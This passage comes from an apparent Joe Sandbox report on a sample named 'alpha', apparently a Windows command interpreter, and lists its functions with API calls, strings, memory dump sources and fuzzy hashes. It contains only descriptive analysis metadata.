                                                                                      • Associated: 00000004.00000002.2137593152.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137670028.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_4_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: CloseCreateFileHandle_open_osfhandle_wcsicmp
                                                                                      • String ID: con
                                                                                      • API String ID: 689241570-4257191772
                                                                                      • Opcode ID: c7a2234d9573f6b473384a9ead2fa3a6435853c7d94b0c157743cf5a0c0f015b
                                                                                      • Instruction ID: 59efa38f673780209e3fe852fd3cf954115de40b4b6191caff3011c87591eb52
                                                                                      • Opcode Fuzzy Hash: c7a2234d9573f6b473384a9ead2fa3a6435853c7d94b0c157743cf5a0c0f015b
                                                                                      • Instruction Fuzzy Hash: 3541B033A08A4687F210AF15A444779FAA1FB89BA4FA58335EA2D577D0CF3CD849C750
                                                                                      Function 00007FF78CF6A58C Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 97memoryfileCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000004.00000002.2137560333.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000004.00000002.2137544579.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137593152.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137670028.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_4_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: Heap$File$Process$AllocCloseCreateFreeHandlePointerRead
                                                                                      • String ID: PE
                                                                                      • API String ID: 2941894976-4258593460
                                                                                      • Opcode ID: 331757eb63d1f0c0e0f6f41cd200ca790172e856099f574e6941fdd4e3218fed
                                                                                      • Instruction ID: c57c12e29d76c69340e3f96e5b4af5bec159d67eee5b19774b9d9d09ff5450e8
                                                                                      • Opcode Fuzzy Hash: 331757eb63d1f0c0e0f6f41cd200ca790172e856099f574e6941fdd4e3218fed
                                                                                      • Instruction Fuzzy Hash: 2241767360869287F620AB21E41067AF7B1FB89B91F948230DE5D43B95DF3DE446CB20
                                                                                      Function 00007FF78CF50010 Relevance: 13.7, APIs: 9, Instructions: 163fileCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • SetFilePointer.API-MS-WIN-CORE-FILE-L1-1-0(00000000,00000000,0000237B,00000000,00000002,0000000A,00000001,00007FF78CF6849D,?,?,?,00007FF78CF6F0C7), ref: 00007FF78CF50045
                                                                                      • AcquireSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,?,00007FF78CF6F0C7,?,?,?,?,?,?,00000002,00000000,?,?,0000002F,00007FF78CF6E964), ref: 00007FF78CF50071
                                                                                      • ReadFile.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF78CF50092
                                                                                      • ReleaseSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0 ref: 00007FF78CF500A7
                                                                                      • SetFilePointer.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF78CF50148
                                                                                      • MultiByteToWideChar.API-MS-WIN-CORE-STRING-L1-1-0 ref: 00007FF78CF50181
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000004.00000002.2137560333.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000004.00000002.2137544579.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137593152.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137670028.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_4_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: File$LockPointerShared$AcquireByteCharMultiReadReleaseWide
                                                                                      • String ID:
                                                                                      • API String ID: 734197835-0
                                                                                      • Opcode ID: 350a32b8b7773a328a2c6bfa9f033ab7091b859c3389a923f16ee056ea562ebb
                                                                                      • Instruction ID: a21c523de0c2463c9d6a00d74a0f59ee9dd6f91598d7d7e54f025629f7e7dafd
                                                                                      • Opcode Fuzzy Hash: 350a32b8b7773a328a2c6bfa9f033ab7091b859c3389a923f16ee056ea562ebb
                                                                                      • Instruction Fuzzy Hash: 94618F33A08692C7F720AB25A900779FAA1FF45B44FA58131DB4E82790DF3CA649C721
                                                                                      Function 00007FF78CF69B0C Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 261registryCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000004.00000002.2137560333.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000004.00000002.2137544579.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137593152.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137670028.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_4_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: Enum$Openwcsrchr
                                                                                      • String ID: %s=%s$.$\Shell\Open\Command
                                                                                      • API String ID: 3402383852-1459555574
                                                                                      • Opcode ID: c43f82accf2197ad62986fa4fadf1decf1ac45d35886ea9e70cf93cd770afeea
                                                                                      • Instruction ID: c9c3f44aef0df115fc855836c350dfd4abc5101030b533bc7d1fdaf236d497bc
                                                                                      • Opcode Fuzzy Hash: c43f82accf2197ad62986fa4fadf1decf1ac45d35886ea9e70cf93cd770afeea
                                                                                      • Instruction Fuzzy Hash: E0A1C323A0868282FE91AB55D0506BAF3A0FF85B94FE44535DA4E077C5DF7CEA45C320
                                                                                      Function 00007FF78CF57610 Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 228COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000004.00000002.2137560333.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000004.00000002.2137544579.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137593152.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137670028.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_4_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: memset$wcscmp
                                                                                      • String ID: %s
                                                                                      • API String ID: 243296809-3043279178
                                                                                      • Opcode ID: b0ad3edef7fc64e03d81687a8a254aeebb6f4c69458638a3e2c38bf1209308ef
                                                                                      • Instruction ID: 18f49bf769c7604fabdaece8aceb2ddc687c1b396551f4818ccb88b2faf41294
                                                                                      • Opcode Fuzzy Hash: b0ad3edef7fc64e03d81687a8a254aeebb6f4c69458638a3e2c38bf1209308ef
                                                                                      • Instruction Fuzzy Hash: F9A17023B196869AFB65EB21E8407F9A390FB48748FA04136DB4D8B695DF3CE745C310
                                                                                      Function 00007FF78CF41F90 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 174COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000004.00000002.2137560333.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000004.00000002.2137544579.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137593152.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137670028.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_4_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: memset$EnvironmentVariable
                                                                                      • String ID: DIRCMD
                                                                                      • API String ID: 1405722092-1465291664
                                                                                      • Opcode ID: ffb8ac6f460930c1464a251cfe4f6a37909ed3687fd59a2300d1627ea223b7d7
                                                                                      • Instruction ID: 0ca95402126ecd2a2b1702aa77318c4665f2719d8e3d1251799af045ae3d90b9
                                                                                      • Opcode Fuzzy Hash: ffb8ac6f460930c1464a251cfe4f6a37909ed3687fd59a2300d1627ea223b7d7
                                                                                      • Instruction Fuzzy Hash: FD813A73A18BC18AFB20DF60A8806ED77A4FB89748F604139DA4D5BB59DF38D245C710
                                                                                      Function 00007FF78CF499F0 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 146COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                        • Part of subcall function 00007FF78CF4CD90: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,00007FF78CF4B9A1,?,?,?,?,00007FF78CF4D81A), ref: 00007FF78CF4CDA6
                                                                                        • Part of subcall function 00007FF78CF4CD90: HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,00007FF78CF4B9A1,?,?,?,?,00007FF78CF4D81A), ref: 00007FF78CF4CDBD
                                                                                      • wcschr.MSVCRT(?,?,?,00007FF78CF499DD), ref: 00007FF78CF49A39
                                                                                        • Part of subcall function 00007FF78CF4DF60: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(00000000,00000000,00000000,00007FF78CF4CEAA), ref: 00007FF78CF4DFB8
                                                                                        • Part of subcall function 00007FF78CF4DF60: RtlFreeHeap.NTDLL ref: 00007FF78CF4DFCC
                                                                                        • Part of subcall function 00007FF78CF4DF60: _setjmp.MSVCRT ref: 00007FF78CF4E03E
                                                                                      • wcschr.MSVCRT(?,?,?,00007FF78CF499DD), ref: 00007FF78CF49AF0
                                                                                      • wcschr.MSVCRT(?,?,?,00007FF78CF499DD), ref: 00007FF78CF49B0F
                                                                                        • Part of subcall function 00007FF78CF496E8: memset.MSVCRT ref: 00007FF78CF497B2
                                                                                        • Part of subcall function 00007FF78CF496E8: ??_V@YAXPEAX@Z.MSVCRT ref: 00007FF78CF49880
                                                                                      • _wcsupr.MSVCRT ref: 00007FF78CF5B844
                                                                                      • wcscmp.MSVCRT ref: 00007FF78CF5B86D
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000004.00000002.2137560333.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000004.00000002.2137544579.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137593152.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137670028.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_4_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: Heap$wcschr$Process$AllocFree_setjmp_wcsuprmemsetwcscmp
                                                                                      • String ID: FOR$ IF
                                                                                      • API String ID: 3663254013-2924197646
                                                                                      • Opcode ID: f7cff311b475cb809cbefbcbc2ea312c8d083385a1c2e3cb15cb3788630bb160
                                                                                      • Instruction ID: 3f4c67133de3a14b7a3fa359021b3594143e94bfbe7f5b33790a8b4b723f27bf
                                                                                      • Opcode Fuzzy Hash: f7cff311b475cb809cbefbcbc2ea312c8d083385a1c2e3cb15cb3788630bb160
                                                                                      • Instruction Fuzzy Hash: 9B51C122B0964382FE18BF159415679A7A1FF45B90FE85234EA1E9B7D1DF3CE602C320
                                                                                      Function 00007FF78CF4F173 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 119COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • iswdigit.MSVCRT(?,?,00000000,00007FF78CF51F69,?,?,?,?,?,?,?,00007FF78CF4286E,00000000,00000000,00000000,00000000), ref: 00007FF78CF4F0D6
                                                                                      • iswspace.MSVCRT(00000000,00000000,?,00000000,?,00007FF78CF4E626,?,?,00000000,00007FF78CF51F69), ref: 00007FF78CF4F1BA
                                                                                      • wcschr.MSVCRT(?,?,00000000,00007FF78CF51F69,?,?,?,?,?,?,?,00007FF78CF4286E,00000000,00000000,00000000,00000000), ref: 00007FF78CF4F1E7
                                                                                      • iswdigit.MSVCRT(00000000,00000000,?,00000000,?,00007FF78CF4E626,?,?,00000000,00007FF78CF51F69), ref: 00007FF78CF4F1FF
                                                                                      • iswdigit.MSVCRT(?,?,00000000,00007FF78CF51F69,?,?,?,?,?,?,?,00007FF78CF4286E,00000000,00000000,00000000,00000000), ref: 00007FF78CF4F2BB
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000004.00000002.2137560333.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000004.00000002.2137544579.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137593152.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137670028.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_4_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: iswdigit$iswspacewcschr
                                                                                      • String ID: )$=,;
                                                                                      • API String ID: 1959970872-2167043656
                                                                                      • Opcode ID: 4f4e76ffb3d3d3f1682d86852f25dc45ca8acbfdb86516db9a39298bef1f035d
                                                                                      • Instruction ID: 268dfe846fa7dc469febe51139df863bb425a1ffa292787df6ae284ea9377cb5
                                                                                      • Opcode Fuzzy Hash: 4f4e76ffb3d3d3f1682d86852f25dc45ca8acbfdb86516db9a39298bef1f035d
                                                                                      • Instruction Fuzzy Hash: 13419B63E0825286FB64AF15A904779F6E0BF50755FF49036DA8C4A6A0DF3CA485C721
                                                                                      Function 00007FF78CF6BA40 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 103COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000004.00000002.2137560333.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000004.00000002.2137544579.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137593152.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137670028.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_4_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: ErrorLast$InformationVolumeiswalphatowupper
                                                                                      • String ID: %04X-%04X$:
                                                                                      • API String ID: 930873262-1938371929
                                                                                      • Opcode ID: 1b48387342add1d7daed67bb80fe16c2eacc5f7ab2e1033d601e8994222be5e6
                                                                                      • Instruction ID: e6545f8981c6481cb4c3fe19a656b9f6575aee14f8b7e1da362cf7adcdb71786
                                                                                      • Opcode Fuzzy Hash: 1b48387342add1d7daed67bb80fe16c2eacc5f7ab2e1033d601e8994222be5e6
                                                                                      • Instruction Fuzzy Hash: BE416133A08A82D2FB20AB64E4416BAF3A0FB85754FE04135EA4E436D5DF3CD548D760
                                                                                      Function 00007FF78CF536EC Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 93fileCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000004.00000002.2137560333.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000004.00000002.2137544579.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137593152.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137670028.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_4_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: FileWrite$ByteCharMultiWide$_get_osfhandle
                                                                                      • String ID: .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC
                                                                                      • API String ID: 3249344982-2616576482
                                                                                      • Opcode ID: 51d05573790b3cf5d3d64b049944166340f1b2bbc10c5d821001f089b8cff74b
                                                                                      • Instruction ID: ca955c8a549058a438e58e564c3c9f1a4305206d14ac181fba607b8ccd6059e0
                                                                                      • Opcode Fuzzy Hash: 51d05573790b3cf5d3d64b049944166340f1b2bbc10c5d821001f089b8cff74b
                                                                                      • Instruction Fuzzy Hash: 4F414F72A18B818AF7109F12E844769FAA4FB89BD4F948234EB4D47794CF3CD258CB10
                                                                                      Function 00007FF78CF56A28 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 80COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • iswdigit.MSVCRT(?,?,00000000,00007FF78CF568A3,?,?,?,?,?,?,?,00000000,?,00007FF78CF563F3), ref: 00007FF78CF56A73
                                                                                      • wcschr.MSVCRT(?,?,00000000,00007FF78CF568A3,?,?,?,?,?,?,?,00000000,?,00007FF78CF563F3), ref: 00007FF78CF56A91
                                                                                      • wcschr.MSVCRT(?,?,00000000,00007FF78CF568A3,?,?,?,?,?,?,?,00000000,?,00007FF78CF563F3), ref: 00007FF78CF56AB0
                                                                                      • wcschr.MSVCRT(?,?,00000000,00007FF78CF568A3,?,?,?,?,?,?,?,00000000,?,00007FF78CF563F3), ref: 00007FF78CF56AE3
                                                                                      • wcschr.MSVCRT(?,?,00000000,00007FF78CF568A3,?,?,?,?,?,?,?,00000000,?,00007FF78CF563F3), ref: 00007FF78CF56B01
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000004.00000002.2137560333.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000004.00000002.2137544579.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137593152.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137670028.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_4_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: wcschr$iswdigit
                                                                                      • String ID: +-~!$<>+-*/%()|^&=,
                                                                                      • API String ID: 2770779731-632268628
                                                                                      • Opcode ID: 04afb1219d2367be7b294e05ecf67b56e7fd74584ee28e872d0024d55c3108eb
                                                                                      • Instruction ID: 6451f80458fa5c171bf9095ed2279662598e7a8311872ff0e393ca567dd7ab5c
                                                                                      • Opcode Fuzzy Hash: 04afb1219d2367be7b294e05ecf67b56e7fd74584ee28e872d0024d55c3108eb
                                                                                      • Instruction Fuzzy Hash: 51312A23A08A96D5FB54AF11E450278BAE0FB99F85BA9D135DB6E43354EF3CE504C320
                                                                                      Function 00007FF78CF6D878 Relevance: 12.1, APIs: 8, Instructions: 89fileCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000004.00000002.2137560333.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000004.00000002.2137544579.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137593152.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137670028.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_4_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: File_get_osfhandle$Pointer$BuffersFlushRead
                                                                                      • String ID:
                                                                                      • API String ID: 3192234081-0
                                                                                      • Opcode ID: 21cbebea3a03736acc453a065156524b21459c684ab1bf839b7458faa090dfc7
                                                                                      • Instruction ID: b109b441b30678694c6045bee9e24ae6cbd49f33e8ee4fbc4cfef030481eddfe
                                                                                      • Opcode Fuzzy Hash: 21cbebea3a03736acc453a065156524b21459c684ab1bf839b7458faa090dfc7
                                                                                      • Instruction Fuzzy Hash: 363170326086818BF710BF21E805A7DFBA1FB89B94F949534EE4A47795CE3CD405CB10
                                                                                      Function 00007FF78CF51630 Relevance: 10.7, APIs: 7, Instructions: 208memoryCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(00000000,?,?,00000000,?,00007FF78CF514D6,?,?,?,00007FF78CF4AA22,?,?,?,00007FF78CF4847E), ref: 00007FF78CF51673
                                                                                      • HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,00000000,?,00007FF78CF514D6,?,?,?,00007FF78CF4AA22,?,?,?,00007FF78CF4847E), ref: 00007FF78CF5168D
                                                                                      • GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,00000000,?,00007FF78CF514D6,?,?,?,00007FF78CF4AA22,?,?,?,00007FF78CF4847E), ref: 00007FF78CF51757
                                                                                      • HeapReAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,00000000,?,00007FF78CF514D6,?,?,?,00007FF78CF4AA22,?,?,?,00007FF78CF4847E), ref: 00007FF78CF5176E
                                                                                      • GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,00000000,?,00007FF78CF514D6,?,?,?,00007FF78CF4AA22,?,?,?,00007FF78CF4847E), ref: 00007FF78CF51788
                                                                                      • HeapSize.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,00000000,?,00007FF78CF514D6,?,?,?,00007FF78CF4AA22,?,?,?,00007FF78CF4847E), ref: 00007FF78CF5179C
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000004.00000002.2137560333.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000004.00000002.2137544579.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137593152.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137670028.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_4_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: Heap$Process$Alloc$Size
                                                                                      • String ID:
                                                                                      • API String ID: 3586862581-0
                                                                                      • Opcode ID: de24f60fade2ea1a8e9170476ea6e59d916578871a0233016ef2ac0a8793df42
                                                                                      • Instruction ID: 7f7c4605ff6f65e8a9f7a25fc78451cd6a988ab3ecff1b1e55fe35d7984ce398
                                                                                      • Opcode Fuzzy Hash: de24f60fade2ea1a8e9170476ea6e59d916578871a0233016ef2ac0a8793df42
                                                                                      • Instruction Fuzzy Hash: 9A919123E0A64696FB20AB19E540279F7A1FB44B90FA98135EF4D833A0DF3CE545C320
                                                                                      Function 00007FF78CF586F0 Relevance: 10.7, APIs: 7, Instructions: 154COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000004.00000002.2137560333.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
